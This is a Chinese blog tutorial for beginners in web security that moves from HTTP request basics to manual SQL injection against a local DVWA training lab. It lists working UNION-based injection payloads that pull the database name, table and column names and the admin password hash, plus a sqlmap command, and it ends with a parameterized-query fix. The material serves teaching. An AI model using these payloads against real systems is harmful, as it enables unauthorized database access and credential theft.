转行 Web 安全：从 HTTP 协议到 SQL 注入，3 步入门法-CSDN博客

转行 Web 安全：从 HTTP 协议到 SQL 注入，3 步入门法

在这里插入图片描述

“听说 Web 安全是转行热门，但打开教程全是‘Burp 抓包’‘SQLMap 跑洞’，连‘HTTP 请求头里的 Cookie 是干嘛的’都不懂，越看越慌”—— 这是多数转行小白接触 Web 安全的第一感受。

Web 安全的核心不是 “一上来就用工具挖漏洞”，而是 “先懂 Web 怎么跑，再懂漏洞怎么来”。本文针对转行群体设计 “3 步入门法”，从最基础的 HTTP 协议入手，到理解参数注入逻辑，再到手动复现 SQL 注入，每步都有 “可动手的实战 + 可落地的成果”，不用复杂工具，1 周就能完成从 “小白” 到 “能复现基础漏洞” 的跨越。

第一步：吃透 HTTP 协议 ——Web 安全的 “地基”（2-3 天）

核心目标

搞懂 “浏览器和服务器怎么说话”，因为所有 Web 漏洞（包括 SQL 注入）都源于 HTTP 交互中的 “参数传递”—— 这一步没学透，后续看漏洞原理只会 “似懂非懂”。

学什么？（只学 “转行入门必用” 的核心）

核心要素	转行必懂内容（拒绝冗余）	怎么理解？（通俗类比）
请求方法	GET（参数在 URL 里，如?id=1）、POST（参数在请求体，如登录表单）	像寄快递：GET 是 “快递单写在箱子外面”，POST 是 “写在箱子里”
状态码	200（成功）、404（页面不存在）、500（服务器错误）、302（跳转）	像快递反馈：200=“签收成功”，404=“地址错了”，500=“快递站爆了”
关键头字段	Cookie（身份标识，如登录后服务器发的 “通行证”）、Referer（请求来源，如从哪个页面跳过来的）	Cookie 像 “小区门禁卡”，Referer 像 “快递单上的‘寄件人地址’”
请求体（POST）	表单参数格式（如username=admin&password=123）	像 “信封里的纸条”，写着要传给服务器的具体信息

怎么实战？（用浏览器就能练，不用装工具）

任务 1：用 Chrome 开发者工具抓 “登录请求”（1 小时）

打开一个简单的登录页（推荐用本地部署的 DVWA 登录页：http://127.0.0.1/DVWA/login.php，没部署的话用任意公开登录页，如测试用的http://testphp.vulnweb.com/login.php）；
按 F12 打开 “开发者工具”，切换到 “Network” 面板，勾选 “Preserve log”（保留日志）；
输入任意账号密码（如test/test123），点击登录，找到名为 “login.php” 的请求（Method 是 POST）；
查看关键信息：

请求方法：确认是 POST（看 “Method” 列）；
请求体：点击 “Payload”→“Form Data”，看到username=test&password=test123（这就是传给服务器的参数）；
Cookie：点击 “Headers”→“Request Headers”，找到 “Cookie” 字段（里面的PHPSESSID就是服务器给你的 “临时门禁卡”）；
状态码：看 “Status” 列，若登录失败可能是 200（页面刷新但提示错误），成功则是 302（跳转到首页）。

任务 2：改参数看响应变化（1 小时）

还是用 DVWA 登录页，抓包后点击 “login.php” 请求，右键选择 “Copy”→“Copy as cURL”；
打开电脑的 “命令提示符（CMD）” 或 “终端”，粘贴复制的 cURL 命令，把username=test改成username=admin，password=test123改成password=password（DVWA 默认密码），按回车执行；
观察结果：若返回 “Location: index.php”（跳转首页），说明参数修改成功（模拟登录成功）—— 这就是 “参数篡改” 的基础，也是漏洞的根源（若服务器没验证参数，就能被恶意利用）。

成果输出

写一篇《HTTP 协议实战笔记》，包含：

3 张截图：登录请求的 “Method + 状态码”“Form Data 参数”“Cookie 字段”；
1 个结论：“POST 请求的参数在请求体里，Cookie 是登录后的身份标识，修改参数能改变服务器响应”。

第二步：理解 “参数注入”——SQL 注入的 “敲门砖”（2-3 天）

核心目标

搞懂 “为什么输入特殊字符会引发漏洞”，SQL 注入的本质就是 “用户输入的参数被拼接到 SQL 语句里，破坏了原有语法”—— 这一步要避开复杂的 SQL 语法，用 “人话 + 例子” 讲透逻辑。

学什么？（只讲 “能帮你理解注入” 的核心逻辑）

1. 先懂 “正常的参数交互”

假设服务器有个 “根据 ID 查用户” 的功能，对应的 SQL 语句是：

SELECT * FROM user WHERE id='用户输入的id'

当你在 URL 里输入?id=1时，参数id=1被拼接到 SQL 里，变成：

SELECT * FROM user WHERE id='1'  -- 语法正确，返回 id=1 的用户

2. 再看 “注入的发生”

如果你输入?id=1’（多了一个单引号），参数被拼接到 SQL 后变成：

SELECT * FROM user WHERE id='1''  -- 语法错误！两个单引号不匹配

服务器若没过滤这个单引号，就会返回 “SQL 语法错误”—— 这就是 “SQL 注入点存在” 的信号。

3. 关键结论

注入的前提：用户输入能影响服务器的 SQL 语句语法；
核心原因：服务器没对用户输入做 “过滤” 或 “转义”（比如把单引号’转义成’，就不会破坏语法）。

怎么实战？（用 “手动改 URL” 验证注入点，不用工具）

任务：在 DVWA 找 “SQL 注入点”（2 小时）

部署 DVWA 并登录（安全等级设为 “Low”，方便入门），进入 “SQL Injection” 模块（URL 是http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit）；
验证注入点：

步骤 1：把 URL 里的id=1改成id=1’，按回车，页面显示 “SQL syntax error”（语法错误）—— 说明注入点存在；
步骤 2：再改成id=1 AND 1=1，页面正常显示内容（因为1=1是真，SQL 语句正常执行）；
步骤 3：改成id=1 AND 1=2，页面显示 “No user ID found”（没结果）—— 因为1=2是假，SQL 语句返回空；

记录结论：“这个id参数没过滤特殊字符，能改变 SQL 语句的执行结果，存在 SQL 注入漏洞”。

避坑点（转行小白最易犯）

坑 1：分不清 “GET 和 POST 注入”——GET 注入改 URL 参数，POST 注入改请求体参数（用 Chrome 抓包改 Form Data），逻辑一样；
坑 2：看到 “页面没报错” 就以为没注入点 —— 有些服务器会屏蔽错误信息，这时用 “1 AND 1=1” 和 “1 AND 1=2” 对比响应差异，也能判断。

成果输出

更新《HTTP 协议实战笔记》，新增 “参数注入” 章节：

2 张截图：id=1’的错误页面、id=1 AND 1=2的空结果页面；
1 段逻辑分析：“用户输入的’和AND 1=2改变了 SQL 语句执行结果，证明id参数存在注入点”。

第三步：手动复现 SQL 注入 —— 从 “懂原理” 到 “能实战”（2-3 天）

核心目标

不用 SQLMap，纯手动写出 Payload（注入语句），获取数据库基础信息（如数据库名、表名），让转行用户感受到 “从 0 到 1 挖漏洞” 的成就感。

学什么？（只学 “手动注入必用” 的 3 个 Payload）

注入目标	手动 Payload（针对 DVWA Low 等级）	原理说明
判断列数	id=1’ ORDER BY 2-- （改数字直到报错）	ORDER BY N按第 N 列排序，报错说明列数小于 N，比如ORDER BY 3-- 报错，说明列数是 2
获取数据库名	id=1’ UNION SELECT 1,database()–	UNION SELECT合并两个查询结果，database()是 SQL 函数，返回当前数据库名
获取表名	id=1’ UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()–	information_schema是 MySQL 系统库，存所有表名，group_concat把表名拼在一起显示

注：-- 是 SQL 注释符，作用是 “注释掉后面的内容”，避免语法错误（比如原 SQL 后面还有’，被注释后不影响）。

怎么实战？（一步步手动操作，每步有反馈）

任务：在 DVWA 手动注入，获取 “users 表” 的账号密码（3 小时）

步骤 1：判断列数

把 URL 改成http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ ORDER BY 2-- &Submit=Submit，页面正常；
再改成id=1’ ORDER BY 3-- &Submit=Submit，页面报错 —— 说明列数是 2。

步骤 2：获取当前数据库名

URL 改成http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT 1,database()-- &Submit=Submit；
页面显示 “dvwa”—— 这就是当前数据库名。

步骤 3：获取数据库里的表名

URL 改成http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- &Submit=Submit；
页面显示 “guestbook,users”—— 这两个是 dvwa 数据库里的表，users表就是存账号密码的。

步骤 4：获取 users 表的字段名

URL 改成http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=‘users’-- &Submit=Submit；
页面显示 “user_id,first_name,last_name,user,password,avatar”——user和password就是账号密码字段。

步骤 5：获取账号密码

URL 改成http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT user,password FROM users-- &Submit=Submit；
页面显示 “admin | 5f4dcc3b5aa765d61d8327deb882cf99”——5f4dcc3b5aa765d61d8327deb882cf99是password的 MD5 哈希值，百度 “MD5 解密” 能得到原密码 “password”。

工具辅助（手动后再用 SQLMap，理解工具逻辑）

当你手动完成注入后，再用 SQLMap 验证（命令如下），会发现工具做的事和你手动操作一致：

# 命令：针对 DVWA 的 SQL 注入点，获取数据库列表
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=你的PHPSESSID" --dbs

对比结果：SQLMap 输出的 “dvwa” 数据库、“users” 表，和你手动注入的结果一致 —— 这时你就懂了 “工具只是自动化了手动步骤”，不是 “黑盒魔法”。

成果输出

完成《SQL 注入手动复现报告》，包含：

5 步操作截图：从判断列数到获取账号密码，每步附 URL 和页面结果；
1 个对比表格：手动注入和 SQLMap 结果的一致性对比；
1 个修复建议：“用参数化查询替代字符串拼接，比如把SELECT * FROM user WHERE id='$id’改成SELECT * FROM user WHERE id=?”。

转行 Web 安全的 “3 个关键认知”（入门后必看）

“先手动，再工具”：别一上来就用 Burp、SQLMap，手动复现 1 次 SQL 注入，比用工具跑 10 次更懂原理 —— 工具是 “效率提升器”，不是 “入门替代品”；
“基础比工具重要”：HTTP 协议没吃透，看 SQL 注入只会 “知其然不知其所以然”；参数注入逻辑没懂，学 XSS、文件上传也会混淆 ——Web 安全的 “地基” 是 Web 基础；
“小成果积累信心”：转行不用一开始就挖 0day，能手动复现 SQL 注入、写出报告，就是 “能落地的实战经验”，比空泛的 “懂 Web 安全” 更有说服力。

这 3 步入门法，本质是 “从 Web 交互逻辑→漏洞原理→实战复现” 的闭环，适合所有转行小白。跟着做完，你不仅能复现 SQL 注入，更能理解 “其他 Web 漏洞（如 XSS、文件上传）的核心逻辑都是‘用户输入影响服务器行为’”，为后续学习打下扎实基础。